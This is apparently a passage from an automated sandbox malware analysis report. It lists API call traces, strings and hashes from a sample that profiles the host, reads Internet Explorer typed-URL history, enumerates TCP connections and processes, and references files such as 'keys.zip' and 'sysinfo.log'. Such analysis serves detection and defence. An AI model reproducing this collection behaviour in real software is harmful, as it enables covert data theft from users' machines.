                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,0000000D,00000000), ref: 026F53CD
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Local time: ,0000000D,00000000,00000000), ref: 026F53DD
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000D,00000000), ref: 026F53EE
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F541C
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F542B
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F543F
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F5452
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5466
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F5473
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F5483
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F5494
                                                                                                                                                                                                                      • GetTimeZoneInformation.KERNEL32(?), ref: 026F54A1
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%c%d:%02d,?,?,?), ref: 026F5502
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5519
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000006,00000000), ref: 026F5526
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{GMT: ,00000006,00000000,00000000), ref: 026F5536
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000006,00000000), ref: 026F5547
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5572
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F5581
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F5595
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F55A8
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F55BC
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F55C9
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F55D9
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F55EA
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F55FE
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 026F560B
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Uptime: ,00000009,00000000,00000000), ref: 026F561B
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 026F562C
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F566C
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 026F567B
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 026F568C
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 026F569F
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F56B3
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F56C0
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F56D0
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F56E1
                                                                                                                                                                                                                      • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 026F56F3
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5707
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000014,00000000), ref: 026F5714
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Windows directory: ,00000014,00000000,00000000), ref: 026F5724
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000014,00000000), ref: 026F5735
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5760
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F576F
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F5783
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F5796
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F57AA
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F57B7
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F57C7
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F57D8
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F57EC
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 026F57F9
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Administrator: ,00000010,00000000,00000000), ref: 026F5809
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 026F581A
                                                                                                                                                                                                                      • #680.SHELL32 ref: 026F5820
                                                                                                                                                                                                                      • #680.SHELL32 ref: 026F5843
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5875
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 026F5884
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 026F5895
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 026F58A8
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F58BC
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F58C8
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F58D8
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F58E6
                                                                                                                                                                                                                        • Part of subcall function 026F4900: RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\TypedURLs,00000000,00020119,?), ref: 026F4925
                                                                                                                                                                                                                        • Part of subcall function 026F4900: _snprintf.MSVCRT(?,00000104,url%i,00000001), ref: 026F494D
                                                                                                                                                                                                                        • Part of subcall function 026F4900: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,74DF3490), ref: 026F4987
                                                                                                                                                                                                                        • Part of subcall function 026F4900: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F49A9
                                                                                                                                                                                                                        • Part of subcall function 026F4900: LockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 026F49B5
                                                                                                                                                                                                                        • Part of subcall function 026F4900: WriteFile.KERNEL32(00000000,IE history:,0000000C,026F58F1,00000000), ref: 026F49C9
                                                                                                                                                                                                                        • Part of subcall function 026F4900: UnlockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 026F49D7
                                                                                                                                                                                                                        • Part of subcall function 026F4900: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F49EB
                                                                                                                                                                                                                        • Part of subcall function 026F4900: LockFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 026F49F7
                                                                                                                                                                                                                        • Part of subcall function 026F4900: WriteFile.KERNEL32(00000000,02735C1C,00000001,00000000,00000000), ref: 026F4A0B
                                                                                                                                                                                                                        • Part of subcall function 026F4900: UnlockFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 026F4A19
                                                                                                                                                                                                                        • Part of subcall function 026F4180: GetProcessHeap.KERNEL32(00000008,00000C10,00000000,00000000,74DF3490), ref: 026F419D
                                                                                                                                                                                                                        • Part of subcall function 026F4180: HeapAlloc.KERNEL32(00000000), ref: 026F41A0
                                                                                                                                                                                                                        • Part of subcall function 026F4180: memset.MSVCRT(00000000,00000000,00000C10), ref: 026F41B4
                                                                                                                                                                                                                        • Part of subcall function 026F4180: GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 026F4224
                                                                                                                                                                                                                        • Part of subcall function 026F4180: GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F4232
                                                                                                                                                                                                                        • Part of subcall function 026F4180: HeapValidate.KERNEL32(00000000), ref: 026F4235
                                                                                                                                                                                                                        • Part of subcall function 026F4180: GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F4242
                                                                                                                                                                                                                        • Part of subcall function 026F4180: HeapFree.KERNEL32(00000000), ref: 026F4245
                                                                                                                                                                                                                        • Part of subcall function 026F4180: GetProcessHeap.KERNEL32(00000008,00000BED), ref: 026F425D
                                                                                                                                                                                                                        • Part of subcall function 026F4180: HeapAlloc.KERNEL32(00000000), ref: 026F4260
                                                                                                                                                                                                                        • Part of subcall function 026F4180: memset.MSVCRT(00000000,00000000,00000BED), ref: 026F4270
                                                                                                                                                                                                                        • Part of subcall function 026F4180: GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 026F428A
                                                                                                                                                                                                                        • Part of subcall function 026F4180: GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F4297
                                                                                                                                                                                                                        • Part of subcall function 026F4180: HeapValidate.KERNEL32(00000000), ref: 026F429A
                                                                                                                                                                                                                        • Part of subcall function 026F4180: GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F42AB
                                                                                                                                                                                                                        • Part of subcall function 026F4180: HeapFree.KERNEL32(00000000), ref: 026F42AE
                                                                                                                                                                                                                        • Part of subcall function 026F44D0: memset.MSVCRT(?,00000000,00000124,00000000,00000000,74DF3490), ref: 026F4503
                                                                                                                                                                                                                        • Part of subcall function 026F44D0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,74DF3490), ref: 026F450E
                                                                                                                                                                                                                        • Part of subcall function 026F44D0: Process32First.KERNEL32 ref: 026F4531
                                                                                                                                                                                                                        • Part of subcall function 026F44D0: GetHandleInformation.KERNEL32(00000000,?), ref: 026F454D
                                                                                                                                                                                                                        • Part of subcall function 026F44D0: CloseHandle.KERNEL32(00000000), ref: 026F4567
                                                                                                                                                                                                                        • Part of subcall function 026F4710: NetQueryDisplayInformation.NETAPI32(00000000,00000001,00000000,000003E8,000000FF,00000000,00000000,00000000,00000000,74DF3490,?,?,?,?,026F5903,00000000), ref: 026F475A
                                                                                                                                                                                                                        • Part of subcall function 026F4710: GetProcessHeap.KERNEL32(00000008,00000014,?,?,?,?,026F5903,00000000,00000000,00000000), ref: 026F47A5
                                                                                                                                                                                                                        • Part of subcall function 026F4710: HeapAlloc.KERNEL32(00000000,?,?,?,?,026F5903,00000000,00000000,00000000), ref: 026F47AC
                                                                                                                                                                                                                        • Part of subcall function 026F4710: memset.MSVCRT(00000000,00000000,026F5903,?,?,?,?,026F5903,00000000,00000000,00000000), ref: 026F47BF
                                                                                                                                                                                                                        • Part of subcall function 026F4710: _snprintf.MSVCRT(00000001,00000001,%S,00000001,?,?,?,?,026F5903,00000000,00000000), ref: 026F480A
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 026F5913
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 026F5924
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$LockPointerUnlockWrite$Heap$Process$memset$HandleInformationSecuritySystem_snprintf$AllocDescriptorFree$#680CloseCreateFormatMetricsNameQueryTableTimeValidate$CapsConvertDateDefaultDeviceDirectoryDisplayEnvironmentFirstInfoLangLocalModuleNamedOpenProcess32SaclSnapshotStringToolhelp32UserValueVariableWindowsZone
                                                                                                                                                                                                                      • String ID: %c%d:%02d$%dx%d@%d$4.1.2$HH:mm:ss$PROCESSOR_IDENTIFIER$XXX$dd:MMM:yyyy$false$true${Administrator: ${BotVer: ${Date: ${GMT: ${Language: ${Local time: ${Process: ${Processor: ${Screen: ${Uptime: ${Username: ${Windows directory:
                                                                                                                                                                                                                      • API String ID: 1724122771-2715564829
                                                                                                                                                                                                                      • Opcode ID: 8e609b9b2c3305438ecae118a665b841b98aef34a59b90ca32edc6ffcdbbfc7f
                                                                                                                                                                                                                      • Instruction ID: 4529270ff8990522c1a9268ecff4f4c3240976137d27891086ec6be8c8687ed9
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8e609b9b2c3305438ecae118a665b841b98aef34a59b90ca32edc6ffcdbbfc7f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AEA2EFB0A91318BEFB209B94CC4AFEE7B78EF49B05F508544F601BA1C0D7F46A458B65
                                                                                                                                                                                                                      Function 026FD300 Relevance: 101.9, APIs: 55, Strings: 3, Instructions: 429windowsynchronizationmemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000F0), ref: 026FD35F
                                                                                                                                                                                                                      • SetWindowLongA.USER32(?,000000F0,00000000), ref: 026FD36A
                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027), ref: 026FD37D
                                                                                                                                                                                                                      • GetDlgItem.USER32(?,?), ref: 026FD392
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000EB), ref: 026FD3A1
                                                                                                                                                                                                                      • SetWindowTextA.USER32(?,-00000008), ref: 026FD3AD
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000F0), ref: 026FD3BC
                                                                                                                                                                                                                      • SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 026FD3C7
                                                                                                                                                                                                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 026FD3DA
                                                                                                                                                                                                                      • GetDlgItem.USER32(?,000003E9), ref: 026FD418
                                                                                                                                                                                                                      • GetClassLongA.USER32(00000000,000000E6), ref: 026FD428
                                                                                                                                                                                                                      • SetClassLongA.USER32(00000000,000000E6,00000000), ref: 026FD437
                                                                                                                                                                                                                      • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 026FD44F
                                                                                                                                                                                                                      • GetObjectA.GDI32(00000000,0000003C,?), ref: 026FD459
                                                                                                                                                                                                                      • CreateFontIndirectA.GDI32 ref: 026FD46F
                                                                                                                                                                                                                      • SendMessageA.USER32(?,00000030,00000000,00000000), ref: 026FD47F
                                                                                                                                                                                                                      • GetWindow.USER32(?,00000005,00000001), ref: 026FD4B7
                                                                                                                                                                                                                      • GetWindow.USER32(00000000), ref: 026FD4BA
                                                                                                                                                                                                                      • GetWindowInfo.USER32(00000000,?), ref: 026FD4CE
                                                                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 026FD533
                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,?,?,00000116,?,00000200), ref: 026FD55D
                                                                                                                                                                                                                      • GetClientRect.USER32(?,?), ref: 026FD569
                                                                                                                                                                                                                      • MoveWindow.USER32(?,00000009,00000014,000000FC,00000014,00000001), ref: 026FD585
                                                                                                                                                                                                                      • CreateWindowExA.USER32(00000000,static,00000000,50000003,?,0000000A,00000023,00000027,?,00000000,00000000,00000000), ref: 026FD5AA
                                                                                                                                                                                                                      • SetWindowLongA.USER32(00000000,000000F4,?), ref: 026FD5BC
                                                                                                                                                                                                                      • GetClassLongA.USER32(00000000,000000E6), ref: 026FD5C5
                                                                                                                                                                                                                      • SetClassLongA.USER32(00000000,000000E6,00000000), ref: 026FD5D4
                                                                                                                                                                                                                      • GetWindowTextLengthA.USER32(00000000), ref: 026FD5DB
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,00000008,0000000C), ref: 026FD5EF
                                                                                                                                                                                                                      • SetWindowLongA.USER32(00000000,000000EB,00000000), ref: 026FD613
                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,0000007F,00000001,00000000), ref: 026FD620
                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000000,?), ref: 026FD630
                                                                                                                                                                                                                      • GetClassLongA.USER32(00000000,000000DE), ref: 026FD64C
                                                                                                                                                                                                                      • GetClassLongA.USER32(00000000,000000F2), ref: 026FD655
                                                                                                                                                                                                                      • LoadIconA.USER32(00000000,00007F00), ref: 026FD661
                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,00000172,00000001,00000000), ref: 026FD67B
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000F0), ref: 026FD6A4
                                                                                                                                                                                                                      • SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 026FD6B3
                                                                                                                                                                                                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 026FD6C6
                                                                                                                                                                                                                      • GetWindow.USER32(00000000,00000003), ref: 026FD6E9
                                                                                                                                                                                                                      • IsIconic.USER32(?), ref: 026FD707
                                                                                                                                                                                                                      • ShowWindow.USER32(?,00000001), ref: 026FD714
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026FD723
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026FD73B
                                                                                                                                                                                                                        • Part of subcall function 026FD2B0: GetWindowThreadProcessId.USER32(?,00000000), ref: 026FD2BC
                                                                                                                                                                                                                        • Part of subcall function 026FD2B0: GetCurrentThreadId.KERNEL32 ref: 026FD2C4
                                                                                                                                                                                                                        • Part of subcall function 026FD2B0: AttachThreadInput.USER32(00000000,00000000,00000001), ref: 026FD2D0
                                                                                                                                                                                                                        • Part of subcall function 026FD2B0: SendMessageA.USER32(?,0000000D,?,?), ref: 026FD2E1
                                                                                                                                                                                                                        • Part of subcall function 026FD2B0: AttachThreadInput.USER32(00000000,00000000,00000000), ref: 026FD2ED
                                                                                                                                                                                                                      • PostMessageA.USER32(?,00000010,00000000,00000000), ref: 026FD748
                                                                                                                                                                                                                      • GetDlgItem.USER32(?,?,000000EB), ref: 026FD7B7
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000), ref: 026FD7BE
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026FD7CE
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026FD7E8
                                                                                                                                                                                                                      • GetDlgItem.USER32(?,00000000), ref: 026FD7FD
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000EB), ref: 026FD80C
                                                                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 026FD818
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 026FD827
                                                                                                                                                                                                                      • DestroyWindow.USER32(00000000), ref: 026FD82E
                                                                                                                                                                                                                      • EndDialog.USER32(?,00000000), ref: 026FD843
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$Long$ClassMessage$SendThread$ItemObject$AttachCreateHeapInputMutexProcessRectReleaseSingleTextWait$AllocClientCurrentDeleteDestroyDialogFontFreeIconIconicIndirectInfoLengthLoadMovePostShow
                                                                                                                                                                                                                      • String ID: '$<$static
                                                                                                                                                                                                                      • API String ID: 2592195760-1233416523
                                                                                                                                                                                                                      • Opcode ID: 3bff82178ad514ee3cfffc6562714606bd7b96d631be07b19ccf31007362a0bd
                                                                                                                                                                                                                      • Instruction ID: b1b53149f36b3ea6d5d99e1f103dd42c2802dfec9dda1f717697b6eaf3f38e64
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3bff82178ad514ee3cfffc6562714606bd7b96d631be07b19ccf31007362a0bd
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3FE1C572984310AFD7249F64EC88F6A37A8FB8D763F608A09F655E72C0C774A451CB61
                                                                                                                                                                                                                      Function 026F3A20 Relevance: 61.8, APIs: 22, Strings: 13, Instructions: 514threadmemorynativeCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F3ACA
                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004,?), ref: 026F3B33
                                                                                                                                                                                                                      • SymSetOptions.DBGHELP(00000006), ref: 026F3B48
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000,00000001), ref: 026F3B58
                                                                                                                                                                                                                      • SymInitialize.DBGHELP(00000000), ref: 026F3B5B
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(?,00000000), ref: 026F3B9A
                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,main,00000000,?), ref: 026F3C27
                                                                                                                                                                                                                      • _snprintf.MSVCRT(00000000,00001000,ExceptionCode = 0x%08XLast error: 0x%08XContext:Eip = 0x%08X Eax = 0x%08X Ebx = 0x%08XEcx = 0x%08X Edx = 0x%08X Ebp = 0x%08XEsp = 0x%08X Esi = 0x%08X Edi = 0x%08XEFlags = 0x%08XMain module:%s 0x%08X-0x%08X,?,00000000), ref: 026F3C47
                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32(00000009,?,00000004,?), ref: 026F3CD4
                                                                                                                                                                                                                      • ZwQueryInformationThread.NTDLL(00000000), ref: 026F3CDB
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(?,00000000), ref: 026F3D20
                                                                                                                                                                                                                        • Part of subcall function 02715460: VirtualQuery.KERNEL32(02715460,?,?), ref: 02715488
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • DEBUG, xrefs: 026F404D
                                                                                                                                                                                                                      • ThreadStart = , xrefs: 026F3CF8
                                                                                                                                                                                                                      • csm, xrefs: 026F3A45
                                                                                                                                                                                                                      • dd;MMM;yyyy, xrefs: 026F3E8B
                                                                                                                                                                                                                      • ExceptionCode = 0x%08XLast error: 0x%08XContext:Eip = 0x%08X Eax = 0x%08X Ebx = 0x%08XEcx = 0x%08X Edx = 0x%08X Ebp = 0x%08XEsp = 0x%08X Esi = 0x%08X Edi = 0x%08XEFlags = 0x%08XMain module:%s 0x%08X-0x%08X, xrefs: 026F3C3E
                                                                                                                                                                                                                      • Self exception = TRUE, xrefs: 026F3C8D
                                                                                                                                                                                                                      • CallStack:, xrefs: 026F3D58
                                                                                                                                                                                                                      • sysinfo.log, xrefs: 026F3F78
                                                                                                                                                                                                                      • ExceptionAddress = , xrefs: 026F3B68
                                                                                                                                                                                                                      • scr.bmp, xrefs: 026F3FF8
                                                                                                                                                                                                                      • main, xrefs: 026F3BEE
                                                                                                                                                                                                                      • HH;mm;ss, xrefs: 026F3EB2
                                                                                                                                                                                                                      • debug_%s_%s.log, xrefs: 026F3ED4
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Current$ProcessQueryVirtual$Thread$AllocErrorInformationInitializeLastOptions_snprintf
                                                                                                                                                                                                                      • String ID: CallStack:$ExceptionCode = 0x%08XLast error: 0x%08XContext:Eip = 0x%08X Eax = 0x%08X Ebx = 0x%08XEcx = 0x%08X Edx = 0x%08X Ebp = 0x%08XEsp = 0x%08X Esi = 0x%08X Edi = 0x%08XEFlags = 0x%08XMain module:%s 0x%08X-0x%08X$Self exception = TRUE$ThreadStart = $DEBUG$ExceptionAddress = $HH;mm;ss$csm$dd;MMM;yyyy$debug_%s_%s.log$main$scr.bmp$sysinfo.log
                                                                                                                                                                                                                      • API String ID: 2913300210-1369666974
                                                                                                                                                                                                                      • Opcode ID: f2cc966453ed93248517e2506874e65ef3bf641bc55fc30bdca33457f942b700
                                                                                                                                                                                                                      • Instruction ID: 54b103abd682cf384f7b9e94b04e7a8e820dd1491a0fd79f077e2e6cdebeed79
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f2cc966453ed93248517e2506874e65ef3bf641bc55fc30bdca33457f942b700
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B412F471A00645DFDF55CF68C894BAABBF2FF48304F548598EA89DB340DB31A958CB84
                                                                                                                                                                                                                      Function 02712BB0 Relevance: 61.6, APIs: 27, Strings: 8, Instructions: 379COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 02712BCE
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?,00000000,00000103), ref: 02712BE8
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02712C12
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2192), ref: 02712C37
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02712C77
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02712C81
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02712C89
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(00000000), ref: 02712C9A
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02712CA1
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000), ref: 02712CE4
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(00000000), ref: 02712D30
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2192,00000000,00000000), ref: 02712D77
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$BackslashDirectoryErrorFileLastmemset$#680AttributesCreateCurrentFolderMakeModuleNameSystem
                                                                                                                                                                                                                      • String ID: 26EE2192$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$\$\SIGN1\$client.zip$keys.zip$path_client.txt$path_keys.txt
                                                                                                                                                                                                                      • API String ID: 581088870-130089682
